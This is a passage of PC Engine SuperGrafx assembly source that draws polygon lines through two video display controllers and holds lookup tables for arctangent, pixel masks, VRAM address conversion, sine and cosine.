VDC2_3 st0 #$01 sta VDC2_2 sty VDC2_3 st0 #$02 lda VDC2_2 and <polyLineLeftMask sta <polyLineDataLow lda VDC2_3 and <polyLineLeftMask sta <polyLineDataHigh lda <polyLineColorDataWork2 and <polyLineLeftData ora <polyLineDataLow sta VDC2_2 lda <polyLineColorDataWork3 and <polyLineLeftData ora <polyLineDataHigh sta VDC2_3 ;VDC2 center 2 3 lda <polyLineColorDataWork2 ldy <polyLineColorDataWork3 jmp [.centerVDC2_02Addr, x] .centerVDC2_02: putPolyLineV2lm ;VDC2 right 2 3 lda <polyLineRightAddr ora #$08 ldy <polyLineRightAddr+1 st0 #$00 sta VDC2_2 sty VDC2_3 st0 #$01 sta VDC2_2 sty VDC2_3 st0 #$02 lda VDC2_2 and <polyLineRightMask sta <polyLineDataLow lda VDC2_3 and <polyLineRightMask sta <polyLineDataHigh lda <polyLineColorDataWork2 and <polyLineRightData ora <polyLineDataLow sta VDC2_2 lda <polyLineColorDataWork3 and <polyLineRightData ora <polyLineDataHigh sta VDC2_3 ply ;loop jump jmp .loop0 ;put line same address .polyLineJump03: lda <polyLineLeftData and polyLineRightDatas,x sta <polyLineLeftData eor #$FF sta <polyLineLeftMask lda <selectVdc cmp #VDC2 beq .vdc2Jp2 ;VDC1 .vdc1Jp2: stz VPC_6 ;select VDC#1 ;VDC1 left 0 1 lda <polyLineLeftAddr ldx <polyLineLeftAddr+1 st0 #$00 sta VDC1_2 stx VDC1_3 st0 #$01 sta VDC1_2 stx VDC1_3 st0 #$02 lda VDC1_2 and <polyLineLeftMask sta <polyLineDataLow lda VDC1_3 and <polyLineLeftMask sta <polyLineDataHigh lda <polyLineColorDataWork0 and <polyLineLeftData ora <polyLineDataLow sta VDC1_2 lda <polyLineColorDataWork1 and <polyLineLeftData ora <polyLineDataHigh sta VDC1_3 ;VDC1 left 2 3 lda <polyLineLeftAddr ora #$08 ldx <polyLineLeftAddr+1 st0 #$00 sta VDC1_2 stx VDC1_3 st0 #$01 sta VDC1_2 stx VDC1_3 st0 #$02 lda VDC1_2 and <polyLineLeftMask sta <polyLineDataLow lda VDC1_3 and <polyLineLeftMask sta <polyLineDataHigh lda <polyLineColorDataWork2 and <polyLineLeftData ora <polyLineDataLow sta VDC1_2 lda <polyLineColorDataWork3 and <polyLineLeftData ora <polyLineDataHigh sta VDC1_3 ;loop jump jmp .loop0 ;VDC2 .vdc2Jp2: lda #$01 sta VPC_6 ;select VDC#2 ;VDC2 left 0 1 lda <polyLineLeftAddr ldx <polyLineLeftAddr+1 st0 #$00 sta VDC2_2 stx VDC2_3 st0 #$01 sta VDC2_2 stx VDC2_3 st0 #$02 lda VDC2_2 and <polyLineLeftMask sta <polyLineDataLow lda VDC2_3 and <polyLineLeftMask sta <polyLineDataHigh lda <polyLineColorDataWork0 and <polyLineLeftData ora <polyLineDataLow sta VDC2_2 lda <polyLineColorDataWork1 and <polyLineLeftData ora <polyLineDataHigh sta VDC2_3 ;VDC2 left 2 3 lda <polyLineLeftAddr ora #$08 ldx <polyLineLeftAddr+1 st0 #$00 sta VDC2_2 stx VDC2_3 st0 #$01 sta VDC2_2 stx VDC2_3 st0 #$02 lda VDC2_2 and <polyLineLeftMask sta <polyLineDataLow lda VDC2_3 and <polyLineLeftMask sta <polyLineDataHigh lda <polyLineColorDataWork2 and <polyLineLeftData ora <polyLineDataLow sta VDC2_2 lda <polyLineColorDataWork3 and <polyLineLeftData ora <polyLineDataHigh sta VDC2_3 ;loop jump jmp .loop0 ;-------- .centerVDC1_01Addr: dw .centerVDC1_01 +6*30 ;-1 dw .centerVDC1_01 +6*30 ;0 dw .centerVDC1_01 +6*29 ;1 dw .centerVDC1_01 +6*28 ;2 dw .centerVDC1_01 +6*27 ;3 dw .centerVDC1_01 +6*26 ;4 dw .centerVDC1_01 +6*25 ;5 dw .centerVDC1_01 +6*24 ;6 dw .centerVDC1_01 +6*23 ;7 dw .centerVDC1_01 +6*22 ;8 dw .centerVDC1_01 +6*21 ;9 dw .centerVDC1_01 +6*20 ;10 dw .centerVDC1_01 +6*19 ;11 dw .centerVDC1_01 +6*18 ;12 dw .centerVDC1_01 +6*17 ;13 dw .centerVDC1_01 +6*16 ;14 dw .centerVDC1_01 +6*15 ;15 dw .centerVDC1_01 +6*14 ;16 dw .centerVDC1_01 +6*13 ;17 dw .centerVDC1_01 +6*12 ;18 dw .centerVDC1_01 +6*11 ;19 dw .centerVDC1_01 +6*10 ;20 dw .centerVDC1_01 +6*9 ;21 dw .centerVDC1_01 +6*8 ;22 dw .centerVDC1_01 +6*7 ;23 dw .centerVDC1_01 +6*6 ;24 dw .centerVDC1_01 +6*5 ;25 dw .centerVDC1_01 +6*4 ;26 dw .centerVDC1_01 +6*3 ;27 dw .centerVDC1_01 +6*2 ;28 dw .centerVDC1_01 +6*1 ;29 dw .centerVDC1_01 +6*0 ;30 ;-------- .centerVDC1_02Addr: dw .centerVDC1_02 +6*30 ;-1 dw .centerVDC1_02 +6*30 ;0 dw .centerVDC1_02 +6*29 ;1 dw .centerVDC1_02 +6*28 ;2 dw .centerVDC1_02 +6*27 ;3 dw .centerVDC1_02 +6*26 ;4 dw .centerVDC1_02 +6*25 ;5 dw .centerVDC1_02 +6*24 ;6 dw .centerVDC1_02 +6*23 ;7 dw .centerVDC1_02 +6*22 ;8 dw .centerVDC1_02 +6*21 ;9 dw .centerVDC1_02 +6*20 ;10 dw .centerVDC1_02 +6*19 ;11 dw .centerVDC1_02 +6*18 ;12 dw .centerVDC1_02 +6*17 ;13 dw .centerVDC1_02 +6*16 ;14 dw .centerVDC1_02 +6*15 ;15 dw .centerVDC1_02 +6*14 ;16 dw .centerVDC1_02 +6*13 ;17 dw .centerVDC1_02 +6*12 ;18 dw .centerVDC1_02 +6*11 ;19 dw .centerVDC1_02 +6*10 ;20 dw .centerVDC1_02 +6*9 ;21 dw .centerVDC1_02 +6*8 ;22 dw .centerVDC1_02 +6*7 ;23 dw .centerVDC1_02 +6*6 ;24 dw .centerVDC1_02 +6*5 ;25 dw .centerVDC1_02 +6*4 ;26 dw .centerVDC1_02 +6*3 ;27 dw .centerVDC1_02 +6*2 ;28 dw .centerVDC1_02 +6*1 ;29 dw .centerVDC1_02 +6*0 ;30 ;-------- .centerVDC2_01Addr: dw .centerVDC2_01 +6*30 ;-1 dw .centerVDC2_01 +6*30 ;0 dw .centerVDC2_01 +6*29 ;1 dw .centerVDC2_01 +6*28 ;2 dw .centerVDC2_01 +6*27 ;3 dw .centerVDC2_01 +6*26 ;4 dw .centerVDC2_01 +6*25 ;5 dw .centerVDC2_01 +6*24 ;6 dw .centerVDC2_01 +6*23 ;7 dw .centerVDC2_01 +6*22 ;8 dw .centerVDC2_01 +6*21 ;9 dw .centerVDC2_01 +6*20 ;10 dw .centerVDC2_01 +6*19 ;11 dw .centerVDC2_01 +6*18 ;12 dw .centerVDC2_01 +6*17 ;13 dw .centerVDC2_01 +6*16 ;14 dw .centerVDC2_01 +6*15 ;15 dw .centerVDC2_01 +6*14 ;16 dw .centerVDC2_01 +6*13 ;17 dw .centerVDC2_01 +6*12 ;18 dw .centerVDC2_01 +6*11 ;19 dw .centerVDC2_01 +6*10 ;20 dw .centerVDC2_01 +6*9 ;21 dw .centerVDC2_01 +6*8 ;22 dw .centerVDC2_01 +6*7 ;23 dw .centerVDC2_01 +6*6 ;24 dw .centerVDC2_01 +6*5 ;25 dw .centerVDC2_01 +6*4 ;26 dw .centerVDC2_01 +6*3 ;27 dw .centerVDC2_01 +6*2 ;28 dw .centerVDC2_01 +6*1 ;29 dw .centerVDC2_01 +6*0 ;30 ;-------- .centerVDC2_02Addr: dw .centerVDC2_02 +6*30 ;-1 dw .centerVDC2_02 +6*30 ;0 dw .centerVDC2_02 +6*29 ;1 dw .centerVDC2_02 +6*28 ;2 dw .centerVDC2_02 +6*27 ;3 dw .centerVDC2_02 +6*26 ;4 dw .centerVDC2_02 +6*25 ;5 dw .centerVDC2_02 +6*24 ;6 dw .centerVDC2_02 +6*23 ;7 dw .centerVDC2_02 +6*22 ;8 dw .centerVDC2_02 +6*21 ;9 dw .centerVDC2_02 +6*20 ;10 dw .centerVDC2_02 +6*19 ;11 dw .centerVDC2_02 +6*18 ;12 dw .centerVDC2_02 +6*17 ;13 dw .centerVDC2_02 +6*16 ;14 dw .centerVDC2_02 +6*15 ;15 dw .centerVDC2_02 +6*14 ;16 dw .centerVDC2_02 +6*13 ;17 dw .centerVDC2_02 +6*12 ;18 dw .centerVDC2_02 +6*11 ;19 dw .centerVDC2_02 +6*10 ;20 dw .centerVDC2_02 +6*9 ;21 dw .centerVDC2_02 +6*8 ;22 dw .centerVDC2_02 +6*7 ;23 dw .centerVDC2_02 +6*6 ;24 dw .centerVDC2_02 +6*5 ;25 dw .centerVDC2_02 +6*4 ;26 dw .centerVDC2_02 +6*3 ;27 dw .centerVDC2_02 +6*2 ;28 dw .centerVDC2_02 +6*1 ;29 dw .centerVDC2_02 +6*0 ;30 .org $D380 ;---------------------------- atanDataHigh: ;tan(a + 0.5) * 512 .db $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,\ $00, $00, $00, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01,\ $02, $02, $02, $02, $02, $02, $02, $02, $03, $03, $03, $03, $03, $04, $04, $04,\ $05, $05, $05, $06, $06, $07, $08, $09, $0A, $0C, $0E, $12, $17, $20, $36, $A2 ;---------------------------- atanDataLow: ;tan(a + 0.5) * 512 .db $06, $13, $1F, $2C, $39, $46, $52, $5F, $6C, $7A, $87, $94, $A2, $B0, $BE, $CD,\ $DB, $EB, $FA, $0A, $1A, $2A, $3B, $4D, $5F, $72, $86, $9A, $AF, $C5, $DC, $F4,\ $0D, $27, $43, $60, $80, $A1, $C4, $EA, $13, $3F, $6E, $A2, $DB, $19, $5E, $AA,\ $00, $61, $D0, $50, $E6, $97, $6C, $72, $BE, $6E, $BA, $09, $3A, $8E, $4D, $F7 ;---------------------------- intTable: .db $00, $01, $02, $03, $04, $05, $06, $07, $08, $09, $0A, $0B, $0C, $0D, $0E, $0F,\ $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, $1A, $1B, $1C, $1D, $1E, $1F,\ $20, $21, $22, $23, $24, $25, $26, $27, $28, $29, $2A, $2B, $2C, $2D, $2E, $2F,\ $30, $31, $32, $33, $34, $35, $36, $37, $38, $39, $3A, $3B, $3C, $3D, $3E, $3F,\ $40, $41, $42, $43, $44, $45, $46, $47, $48, $49, $4A, $4B, $4C, $4D, $4E, $4F,\ $50, $51, $52, $53, $54, $55, $56, $57, $58, $59, $5A, $5B, $5C, $5D, $5E, $5F,\ $60, $61, $62, $63, $64, $65, $66, $67, $68, $69, $6A, $6B, $6C, $6D, $6E, $6F,\ $70, $71, $72, $73, $74, $75, $76, $77, $78, $79, $7A, $7B, $7C, $7D, $7E, $7F,\ $80, $81, $82, $83, $84, $85, $86, $87, $88, $89, $8A, $8B, $8C, $8D, $8E, $8F,\ $90, $91, $92, $93, $94, $95, $96, $97, $98, $99, $9A, $9B, $9C, $9D, $9E, $9F,\ $A0, $A1, $A2, $A3, $A4, $A5, $A6, $A7, $A8, $A9, $AA, $AB, $AC, $AD, $AE, $AF,\ $B0, $B1, $B2, $B3, $B4, $B5, $B6, $B7, $B8, $B9, $BA, $BB, $BC, $BD, $BE, $BF,\ $C0, $C1, $C2, $C3, $C4, $C5, $C6, $C7, $C8, $C9, $CA, $CB, $CC, $CD, $CE, $CF,\ $D0, $D1, $D2, $D3, $D4, $D5, $D6, $D7, $D8, $D9, $DA, $DB, $DC, $DD, $DE, $DF,\ $E0, $E1, $E2, $E3, $E4, $E5, $E6, $E7, $E8, $E9, $EA, $EB, $EC, $ED, $EE, $EF,\ $F0, $F1, $F2, $F3, $F4, $F5, $F6, $F7, $F8, $F9, $FA, $FB, $FC, $FD, $FE, $FF ;---------------------------- polyLineAddrConvYHigh0: .db $40, $40, $40, $40, $40, $40, $40, $40, $44, $44, $44, $44, $44, $44, $44, $44,\ $48, $48, $48, $48, $48, $48, $48, $48, $4C, $4C, $4C, $4C, $4C, $4C, $4C, $4C,\ $50, $50, $50, $50, $50, $50, $50, $50, $54, $54, $54, $54, $54, $54, $54, $54,\ $58, $58, $58, $58, $58, $58, $58, $58, $5C, $5C, $5C, $5C, $5C, $5C, $5C, $5C,\ $60, $60, $60, $60, $60, $60, $60, $60, $64, $64, $64, $64, $64, $64, $64, $64,\ $68, $68, $68, $68, $68, $68, $68, $68, $6C, $6C, $6C, $6C, $6C, $6C, $6C, $6C,\ $70, $70, $70, $70, $70, $70, $70, $70, $74, $74, $74, $74, $74, $74, $74, $74,\ $78, $78, $78, $78, $78, $78, $78, $78, $7C, $7C, $7C, $7C, $7C, $7C, $7C, $7C,\ $40, $40, $40, $40, $40, $40, $40, $40, $44, $44, $44, $44, $44, $44, $44, $44,\ $48, $48, $48, $48, $48, $48, $48, $48, $4C, $4C, $4C, $4C, $4C, $4C, $4C, $4C,\ $50, $50, $50, $50, $50, $50, $50, $50, $54, $54, $54, $54, $54, $54, $54, $54,\ $58, $58, $58, $58, $58, $58, $58, $58, $5C, $5C, $5C, $5C, $5C, $5C, $5C, $5C,\ $60, $60, $60, $60, $60, $60, $60, $60, $64, $64, $64, $64, $64, $64, $64, $64,\ $68, $68, $68, $68, $68, $68, $68, $68, $6C, $6C, $6C, $6C, $6C, $6C, $6C, $6C,\ $70, $70, $70, $70, $70, $70, $70, $70, $74, $74, $74, $74, $74, $74, $74, $74,\ $78, $78, $78, $78, $78, $78, $78, $78, $7C, $7C, $7C, $7C, $7C, $7C, $7C, $7C ;---------------------------- polyLineAddrConvYLow0: .db $00, $01, $02, $03, $04, $05, $06, $07, $00, $01, $02, $03, $04, $05, $06, $07,\ $00, $01, $02, $03, $04, $05, $06, $07, $00, $01, $02, $03, $04, $05, $06, $07,\ $00, $01, $02, $03, $04, $05, $06, $07, $00, $01, $02, $03, $04, $05, $06, $07,\ $00, $01, $02, $03, $04, $05, $06, $07, $00, $01, $02, $03, $04, $05, $06, $07,\ $00, $01, $02, $03, $04, $05, $06, $07, $00, $01, $02, $03, $04, $05, $06, $07,\ $00, $01, $02, $03, $04, $05, $06, $07, $00, $01, $02, $03, $04, $05, $06, $07,\ $00, $01, $02, $03, $04, $05, $06, $07, $00, $01, $02, $03, $04, $05, $06, $07,\ $00, $01, $02, $03, $04, $05, $06, $07, $00, $01, $02, $03, $04, $05, $06, $07,\ $10, $11, $12, $13, $14, $15, $16, $17, $10, $11, $12, $13, $14, $15, $16, $17,\ $10, $11, $12, $13, $14, $15, $16, $17, $10, $11, $12, $13, $14, $15, $16, $17,\ $10, $11, $12, $13, $14, $15, $16, $17, $10, $11, $12, $13, $14, $15, $16, $17,\ $10, $11, $12, $13, $14, $15, $16, $17, $10, $11, $12, $13, $14, $15, $16, $17,\ $10, $11, $12, $13, $14, $15, $16, $17, $10, $11, $12, $13, $14, $15, $16, $17,\ $10, $11, $12, $13, $14, $15, $16, $17, $10, $11, $12, $13, $14, $15, $16, $17,\ $10, $11, $12, $13, $14, $15, $16, $17, $10, $11, $12, $13, $14, $15, $16, $17,\ $10, $11, $12, $13, $14, $15, $16, $17, $10, $11, $12, $13, $14, $15, $16, $17 ;---------------------------- polyLineAddrConvXHigh0: .db $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,\ $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,\ $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,\ $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,\ $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01,\ $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01,\ $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01,\ $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01, $01,\ $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02,\ $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02,\ $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02,\ $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02, $02,\ $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03,\ $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03,\ $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03,\ $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03 ;---------------------------- polyLineAddrConvXLow0: .db $00, $00, $00, $00, $00, $00, $00, $00, $20, $20, $20, $20, $20, $20, $20, $20,\ $40, $40, $40, $40, $40, $40, $40, $40, $60, $60, $60, $60, $60, $60, $60, $60,\ $80, $80, $80, $80, $80, $80, $80, $80, $A0, $A0, $A0, $A0, $A0, $A0, $A0, $A0,\ $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $E0, $E0, $E0, $E0, $E0, $E0, $E0, $E0,\ $00, $00, $00, $00, $00, $00, $00, $00, $20, $20, $20, $20, $20, $20, $20, $20,\ $40, $40, $40, $40, $40, $40, $40, $40, $60, $60, $60, $60, $60, $60, $60, $60,\ $80, $80, $80, $80, $80, $80, $80, $80, $A0, $A0, $A0, $A0, $A0, $A0, $A0, $A0,\ $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $E0, $E0, $E0, $E0, $E0, $E0, $E0, $E0,\ $00, $00, $00, $00, $00, $00, $00, $00, $20, $20, $20, $20, $20, $20, $20, $20,\ $40, $40, $40, $40, $40, $40, $40, $40, $60, $60, $60, $60, $60, $60, $60, $60,\ $80, $80, $80, $80, $80, $80, $80, $80, $A0, $A0, $A0, $A0, $A0, $A0, $A0, $A0,\ $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $E0, $E0, $E0, $E0, $E0, $E0, $E0, $E0,\ $00, $00, $00, $00, $00, $00, $00, $00, $20, $20, $20, $20, $20, $20, $20, $20,\ $40, $40, $40, $40, $40, $40, $40, $40, $60, $60, $60, $60, $60, $60, $60, $60,\ $80, $80, $80, $80, $80, $80, $80, $80, $A0, $A0, $A0, $A0, $A0, $A0, $A0, $A0,\ $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $E0, $E0, $E0, $E0, $E0, $E0, $E0, $E0 ;---------------------------- polyLineAddrConvX: .db $00, $00, $00, $00, $00, $00, $00, $00, $01, $01, $01, $01, $01, $01, $01, $01,\ $02, $02, $02, $02, $02, $02, $02, $02, $03, $03, $03, $03, $03, $03, $03, $03,\ $04, $04, $04, $04, $04, $04, $04, $04, $05, $05, $05, $05, $05, $05, $05, $05,\ $06, $06, $06, $06, $06, $06, $06, $06, $07, $07, $07, $07, $07, $07, $07, $07,\ $08, $08, $08, $08, $08, $08, $08, $08, $09, $09, $09, $09, $09, $09, $09, $09,\ $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B,\ $0C, $0C, $0C, $0C, $0C, $0C, $0C, $0C, $0D, $0D, $0D, $0D, $0D, $0D, $0D, $0D,\ $0E, $0E, $0E, $0E, $0E, $0E, $0E, $0E, $0F, $0F, $0F, $0F, $0F, $0F, $0F, $0F,\ $10, $10, $10, $10, $10, $10, $10, $10, $11, $11, $11, $11, $11, $11, $11, $11,\ $12, $12, $12, $12, $12, $12, $12, $12, $13, $13, $13, $13, $13, $13, $13, $13,\ $14, $14, $14, $14, $14, $14, $14, $14, $15, $15, $15, $15, $15, $15, $15, $15,\ $16, $16, $16, $16, $16, $16, $16, $16, $17, $17, $17, $17, $17, $17, $17, $17,\ $18, $18, $18, $18, $18, $18, $18, $18, $19, $19, $19, $19, $19, $19, $19, $19,\ $1A, $1A, $1A, $1A, $1A, $1A, $1A, $1A, $1B, $1B, $1B, $1B, $1B, $1B, $1B, $1B,\ $1C, $1C, $1C, $1C, $1C, $1C, $1C, $1C, $1D, $1D, $1D, $1D, $1D, $1D, $1D, $1D,\ $1E, $1E, $1E, $1E, $1E, $1E, $1E, $1E, $1F, $1F, $1F, $1F, $1F, $1F, $1F, $1F ;---------------------------- polyLineLeftDatas: .db $FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\ $FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\ $FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\ $FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\ $FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\ $FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\ $FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\ $FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\ $FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\ $FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\ $FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\ $FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\ $FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\ $FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\ $FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01,\ $FF, $7F, $3F, $1F, $0F, $07, $03, $01, $FF, $7F, $3F, $1F, $0F, $07, $03, $01 ;---------------------------- polyLineRightDatas: .db $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\ $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\ $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\ $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\ $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\ $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\ $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\ $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\ $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\ $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\ $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\ $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\ $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\ $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\ $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF,\ $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF, $80, $C0, $E0, $F0, $F8, $FC, $FE, $FF ;---------------------------- sinDataHigh: .db $00, $01, $03, $04, $06, $07, $09, $0A, $0C, $0E, $0F, $11, $12, $14, $15, $17,\ $18, $19, $1B, $1C, $1E, $1F, $20, $22, $23, $24, $26, $27, $28, $29, $2A, $2C,\ $2D, $2E, $2F, $30, $31, $32, $33, $34, $35, $36, $36, $37, $38, $39, $39, $3A,\ $3B, $3B, $3C, $3C, $3D, $3D, $3E, $3E, $3E, $3F, $3F, $3F, $3F, $3F, $3F, $3F,\ $40, $3F, $3F, $3F, $3F, $3F, $3F, $3F, $3E, $3E, $3E, $3D, $3D, $3C, $3C, $3B,\ $3B, $3A, $39, $39, $38, $37, $36, $36, $35, $34, $33, $32, $31, $30, $2F, $2E,\ $2D, $2C, $2A, $29, $28, $27, $26, $24, $23, $22, $20, $1F, $1E, $1C, $1B, $19,\ $18, $17, $15, $14, $12, $11, $0F, $0E, $0C, $0A, $09, $07, $06, $04, $03, $01,\ $00, $FE, $FC, $FB, $F9, $F8, $F6, $F5, $F3, $F1, $F0, $EE, $ED, $EB, $EA, $E8,\ $E7, $E6, $E4, $E3, $E1, $E0, $DF, $DD, $DC, $DB, $D9, $D8, $D7, $D6, $D5, $D3,\ $D2, $D1, $D0, $CF, $CE, $CD, $CC, $CB, $CA, $C9, $C9, $C8, $C7, $C6, $C6, $C5,\ $C4, $C4, $C3, $C3, $C2, $C2, $C1, $C1, $C1, $C0, $C0, $C0, $C0, $C0, $C0, $C0,\ $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C1, $C1, $C1, $C2, $C2, $C3, $C3, $C4,\ $C4, $C5, $C6, $C6, $C7, $C8, $C9, $C9, $CA, $CB, $CC, $CD, $CE, $CF, $D0, $D1,\ $D2, $D3, $D5, $D6, $D7, $D8, $D9, $DB, $DC, $DD, $DF, $E0, $E1, $E3, $E4, $E6,\ $E7, $E8, $EA, $EB, $ED, $EE, $F0, $F1, $F3, $F5, $F6, $F8, $F9, $FB, $FC, $FE ;---------------------------- sinDataLow: .db $00, $92, $24, $B5, $46, $D6, $64, $F1, $7C, $06, $8D, $12, $94, $13, $90, $09,\ $7E, $EF, $5D, $C6, $2B, $8C, $E7, $3D, $8E, $DA, $20, $60, $9A, $CE, $FB, $21,\ $41, $5A, $6C, $76, $79, $74, $68, $53, $37, $12, $E5, $B0, $71, $2B, $DB, $82,\ $21, $B6, $42, $C5, $3F, $AF, $15, $72, $C5, $0F, $4F, $85, $B1, $D4, $EC, $FB,\ $00, $FB, $EC, $D4, $B1, $85, $4F, $0F, $C5, $72, $15, $AF, $3F, $C5, $42, $B6,\ $21, $82, $DB, $2B, $71, $B0, $E5, $12, $37, $53, $68, $74, $79, $76, $6C, $5A,\ $41, $21, $FB, $CE, $9A, $60, $20, $DA, $8E, $3D, $E7, $8C, $2B, $C6, $5D, $EF,\ $7E, $09, $90, $13, $94, $12, $8D, $06, $7C, $F1, $64, $D6, $46, $B5, $24, $92,\ $00, $6E, $DC, $4B, $BA, $2A, $9C, $0F, $84, $FA, $73, $EE, $6C, $ED, $70, $F7,\ $82, $11, $A3, $3A, $D5, $74, $19, $C3, $72, $26, $E0, $A0, $66, $32, $05, $DF,\ $BF, $A6, $94, $8A, $87, $8C, $98, $AD, $C9, $EE, $1B, $50, $8F, $D5, $25, $7E,\ $DF, $4A, $BE, $3B, $C1, $51, $EB, $8E, $3B, $F1, $B1, $7B, $4F, $2C, $14, $05,\ $00, $05, $14, $2C, $4F, $7B, $B1, $F1, $3B, $8E, $EB, $51, $C1, $3B, $BE, $4A,\ $DF, $7E, $25, $D5, $8F, $50, $1B, $EE, $C9, $AD, $98, $8C, $87, $8A, $94, $A6,\ $BF, $DF, $05, $32, $66, $A0, $E0, $26, $72, $C3, $19, $74, $D5, $3A, $A3, $11,\ $82, $F7, $70, $ED, $6C, $EE, $73, $FA, $84, $0F, $9C, $2A, $BA, $4B, $DC, $6E ;---------------------------- cosDataHigh: .db $40, $3F, $3F, $3F, $3F, $3F, $3F, $3F, $3E, $3E, $3E, $3D, $3D, $3C, $3C, $3B,\ $3B, $3A, $39, $39, $38, $37, $36, $36, $35, $34, $33, $32, $31, $30, $2F, $2E,\ $2D, $2C, $2A, $29, $28, $27, $26, $24, $23, $22, $20, $1F, $1E, $1C, $1B, $19,\ $18, $17, $15, $14, $12, $11, $0F, $0E, $0C, $0A, $09, $07, $06, $04, $03, $01,\ $00, $FE, $FC, $FB, $F9, $F8, $F6, $F5, $F3, $F1, $F0, $EE, $ED, $EB, $EA, $E8,\ $E7, $E6, $E4, $E3, $E1, $E0, $DF, $DD, $DC, $DB, $D9, $D8, $D7, $D6, $D5, $D3,\ $D2, $D1, $D0, $CF, $CE, $CD, $CC, $CB, $CA, $C9, $C9, $C8, $C7, $C6, $C6, $C5,\ $C4, $C4, $C3, $C3, $C2, $C2, $C1, $C1, $C1, $C0, $C0, $C0, $C0, $C0, $C0, $C0,\ $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C0, $C1, $C1, $C1, $C2, $C2, $C3, $C3, $C4,\ $C4, $C5, $C6, $C6, $C7, $C8, $C9, $C9, $CA, $CB, $CC, $CD, 